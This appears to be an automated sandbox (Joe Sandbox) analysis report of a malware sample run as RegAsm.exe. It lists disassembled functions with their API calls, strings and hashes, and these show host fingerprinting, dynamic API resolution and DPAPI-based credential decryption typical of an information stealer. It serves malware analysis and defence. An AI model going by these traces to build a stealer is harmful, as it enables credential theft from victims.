_EH_prolog.MSVCRT ref: 0040DD8D
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040DDCE
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040DE43
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040DF5F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 0040C481: _EH_prolog.MSVCRT ref: 0040C486

Part of subcall function 0040A9CD: _EH_prolog.MSVCRT ref: 0040A9D2

StrCmpCA.SHLWAPI(00000000), ref: 0040E015
StrCmpCA.SHLWAPI(00000000), ref: 0040E089

Strings

Stable\, xrefs: 0040E0CC
Stable\, xrefs: 0040DE86

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy
String ID: Stable\$ Stable\
API String ID: 2120869262-4033978473
Opcode ID: c1495879ff8cf3d8f166f597e6518a8f4bd9861bf53bb9e785a016e65547f3ef
Instruction ID: 39234b0675f3014c4c9e49e3ec6ca5165c6a2cf47cf458f9d85aae2044e49338
Opcode Fuzzy Hash: c1495879ff8cf3d8f166f597e6518a8f4bd9861bf53bb9e785a016e65547f3ef
Instruction Fuzzy Hash: A1D19770D00249EADF00EBBAD946BDEBFB4AF15304F10446EE84577282DB785718CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004061D7 Relevance: 10.6, APIs: 7, Instructions: 70filememoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004061DC
CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406262
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeH_prologHandleReadSize
String ID:
API String ID: 3869837436-0
Opcode ID: 0bc206bb0d39ca1d6bd887a7afb13499fe0583c39eeede592551b7768891eff4
Instruction ID: 9d9e751b5235763514e2182f58e510e1fdeb6aca53789148066bf4609c63ef2f
Opcode Fuzzy Hash: 0bc206bb0d39ca1d6bd887a7afb13499fe0583c39eeede592551b7768891eff4
Instruction Fuzzy Hash: AA217970900204ABDB21EFA5CC48EAFBBB9FB85710F20056EF952F22D0D7388951CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040F462 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F488
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,0042548E,?,?,00000000), ref: 0040F4A4
RegQueryValueExA.KERNEL32(0042548E,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 0040F4C3
CharToOemA.USER32(?,?), ref: 0040F4E0

Strings

MachineGuid, xrefs: 0040F4BB
SOFTWARE\Microsoft\Cryptography, xrefs: 0040F49A

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValuememset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 1728412123-1211650757
Opcode ID: 02d94da84b45a5bc20e3c930cd2c0627a20dac127c7278667ec9a0451b1acaad
Instruction ID: 90300627fe78503570c6aac238b46943bd26772eb519af82a61773519d7520d2
Opcode Fuzzy Hash: 02d94da84b45a5bc20e3c930cd2c0627a20dac127c7278667ec9a0451b1acaad
Instruction Fuzzy Hash: F301E17594421DFEEB50DB90DC85EEAB77CAB14744F1001E1A645A2051E6745E888F64

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF70 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory,00000000,?,00425544), ref: 0040EF7E
HeapAlloc.KERNEL32(00000000), ref: 0040EF85
GlobalMemoryStatusEx.KERNEL32 ref: 0040EFA5
wsprintfA.USER32 ref: 0040EFCB

Strings

%d MB, xrefs: 0040EFC5
@, xrefs: 0040EF9E

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 3644086013-3474575989
Opcode ID: fd0e751e240304ba7d829f0ca1267b82a4dd9d406921b7e0cc4cd899e75fcadd
Instruction ID: d4ae09faefcb36e180699abcc9b5883cfb19ecae6e5fbbedd1348e0d70c088e6
Opcode Fuzzy Hash: fd0e751e240304ba7d829f0ca1267b82a4dd9d406921b7e0cc4cd899e75fcadd
Instruction Fuzzy Hash: 55F01DB5A40218ABEB009BA5DD4AF6E76AEE745705F404429F702E62C0EAB8D8058665

Uniqueness

Uniqueness Score: -1.00%

Function 00416219 Relevance: 9.1, APIs: 6, Instructions: 65sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004162F9: wcslen.MSVCRT ref: 004162FE
Part of subcall function 004162F9: wcslen.MSVCRT ref: 0041630A
Part of subcall function 004162F9: LoadLibraryA.KERNEL32(The KLW SE10B is a low-emissions diesel switcher locomotive built by Knoxville Locomotive Works. It is powered by a single MTU Ser,0041622B), ref: 00416316
Part of subcall function 004162F9: wcslen.MSVCRT ref: 00416326
Part of subcall function 004162F9: wcslen.MSVCRT ref: 00416332
Part of subcall function 004162F9: wcslen.MSVCRT ref: 0041634A
Part of subcall function 004162F9: wcslen.MSVCRT ref: 00416356
Part of subcall function 004162F9: wcslen.MSVCRT ref: 00416376
Part of subcall function 004162F9: wcslen.MSVCRT ref: 00416380
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416394
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004163AB
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004163C2
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004163D9
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004163F0
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416407
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 0041641E
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416435
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 0041644C
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416463
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 0041647A
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416491
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004164A8
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004164BF
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004164D6
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 004164ED
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 00416504
Part of subcall function 004162F9: GetProcAddress.KERNEL32 ref: 0041651B

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EBBA: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,0041623D,00425507), ref: 0040EBC6
Part of subcall function 0040EBBA: HeapAlloc.KERNEL32(00000000,?,?,?,0041623D,00425507), ref: 0040EBCD
Part of subcall function 0040EBBA: GetUserNameA.ADVAPI32(00000000,?), ref: 0040EBE1

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

CloseHandle.KERNEL32(00000000), ref: 0041629E
Sleep.KERNEL32(00001B58), ref: 004162A9
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,?,00425A60,?,00000000,00425507), ref: 004162BA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004162D0
CloseHandle.KERNEL32(00000000), ref: 004162DE
ExitProcess.KERNEL32 ref: 004162E5

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$wcslen$lstrcpy$CloseEventHandleHeapProcess$AllocCreateExitH_prologLibraryLoadNameOpenSleepUserlstrcatlstrlen
String ID:
API String ID: 2119032056-0
Opcode ID: 07d8c05c405f0823ea941a26bfbe178101e3d604278b7344bc2b617775133b21
Instruction ID: 3b746e891c5ee0c66c2a91cc43542382523336fa1075cbc9f29eedf77854c369
Opcode Fuzzy Hash: 07d8c05c405f0823ea941a26bfbe178101e3d604278b7344bc2b617775133b21
Instruction Fuzzy Hash: BB115C71900418AACB01FBA3DD5ACEE777EAE55304B40087EF502B20D2DF385A15CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403A76 Relevance: 9.1, APIs: 6, Instructions: 56stringnetworkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00403A7B
??_U@YAPAXI@Z.MSVCRT ref: 00403AAD
??_U@YAPAXI@Z.MSVCRT ref: 00403AB6
??_U@YAPAXI@Z.MSVCRT ref: 00403ABF
lstrlenA.KERNEL32(00000000,00000000,?,?,00000000,00000001), ref: 00403AD9
InternetCrackUrlA.WININET(00000000,00000000,?,00000000), ref: 00403AE9

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackH_prologInternetlstrlen
String ID:
API String ID: 503950642-0
Opcode ID: 9a5937afff5c11dea6ffe0ee86a216098c686409a9e8273c2abd2d22ddd4ed6c
Instruction ID: 383eafd706f4d7733415b73dc21a4906bfce4d5d1e04002f424781588bab2e5d
Opcode Fuzzy Hash: 9a5937afff5c11dea6ffe0ee86a216098c686409a9e8273c2abd2d22ddd4ed6c
Instruction Fuzzy Hash: A8112E71D00208ABDB14EFA5D846BDE7F78AF15324F20822AE561B62D1DB385B45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406531 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406536

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?,?,00424B9C,?,?,?,00424B97,00000000), ref: 004065F3

Part of subcall function 0040E986: lstrlenA.KERNEL32(?,00000000,?,00415A25,004254FF,004254FE,00000000,00000000,?,004162DD), ref: 0040E98F
Part of subcall function 0040E986: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E9C3

SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00424BA0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00424B9B), ref: 0040666B
LoadLibraryA.KERNEL32(00000000), ref: 00406686

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004065E7, 004065EC, 00406606

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prolog$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 757424748-3463377506
Opcode ID: 8133bada3c69014e63e9cd7ba50616ce2252662be9c286f1d04de56903218515
Instruction ID: 0564b445663ea615f9c0a7c2c7601842e054addbc94018be546675762f5092e9
Opcode Fuzzy Hash: 8133bada3c69014e63e9cd7ba50616ce2252662be9c286f1d04de56903218515
Instruction Fuzzy Hash: 39618070801144EECB15EBA5DA05AEDBB72EF25308F10447EF446732E2DB780A19CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040B20D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B212

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 004061D7: _EH_prolog.MSVCRT ref: 004061DC
Part of subcall function 004061D7: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061FF
Part of subcall function 004061D7: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00406216
Part of subcall function 004061D7: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00406232
Part of subcall function 004061D7: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0040624C
Part of subcall function 004061D7: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0040626D

Part of subcall function 0040FD58: LocalAlloc.KERNEL32(00000040,004120FA,00000001,00000000,?,004120F9,00000000,00000000), ref: 0040FD71

StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040B265

Part of subcall function 0040628E: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062AE
Part of subcall function 0040628E: LocalAlloc.KERNEL32(00000040,EY@,?,?,00405945,00000000,?,?), ref: 004062BC
Part of subcall function 0040628E: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,EY@,00000000,00000000), ref: 004062D2
Part of subcall function 0040628E: LocalFree.KERNEL32(00000000,?,?,00405945,00000000,?,?), ref: 004062E1

memcmp.MSVCRT ref: 0040B2A3

Part of subcall function 004062F1: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00406314
Part of subcall function 004062F1: LocalAlloc.KERNEL32(00000040,?,?), ref: 0040632C
Part of subcall function 004062F1: LocalFree.KERNEL32(?), ref: 0040634A

Strings

, xrefs: 0040B2CE
DPAPI, xrefs: 0040B29D

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFile$BinaryFreeH_prologString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2477620391-1819349886
Opcode ID: 6e8be76a824977e1e50c33ca222f8d372b89b4dd43ac573d80de2e937b3d1833
Instruction ID: 263fa1929b04d3328671ddb6269ee77dc5295006a5a60b298b8ba209c6a920fe
Opcode Fuzzy Hash: 6e8be76a824977e1e50c33ca222f8d372b89b4dd43ac573d80de2e937b3d1833
Instruction Fuzzy Hash: A321E1B2D00109ABCF11ABA6CC469EFBB79EF54314F14017BF911B21D1F7399A508AAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F698 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory), ref: 0040F6AC
HeapAlloc.KERNEL32(00000000,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000,?,Work Dir: In memory,00000000,?), ref: 0040F6B3
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000,?), ref: 0040F6E1
RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C,00000000), ref: 0040F6FD

Strings

Windows 11, xrefs: 0040F6C4

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 116ea7af916269327c75932af4b0c8a565750c9c475af4e4f38e5e0d42f1927c
Instruction ID: a4fdafc1f51cc4e636eeb9b2f04a94c517ac282ae5520522daff2f5ac87281dd
Opcode Fuzzy Hash: 116ea7af916269327c75932af4b0c8a565750c9c475af4e4f38e5e0d42f1927c
Instruction Fuzzy Hash: 10F06279640215FBEB209BD1DD0AF6A7A7EEB45B44F101036FB01E61E0D7B49A10DB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB3F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,0040EBB1,0040F6C0,?,?,?,00413A47,00000000,?,Windows: ,00000000), ref: 0040EB53
HeapAlloc.KERNEL32(00000000,?,?,?,0040EBB1,0040F6C0,?,?,?,00413A47,00000000,?,Windows: ,00000000,?,0042555C), ref: 0040EB5A
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,0040EBB1,0040F6C0,?,?,?,00413A47,00000000,?,Windows: ), ref: 0040EB78
RegQueryValueExA.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,0040EBB1,0040F6C0,?,?,?,00413A47,00000000), ref: 0040EB93

Strings

CurrentBuildNumber, xrefs: 0040EB8B

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
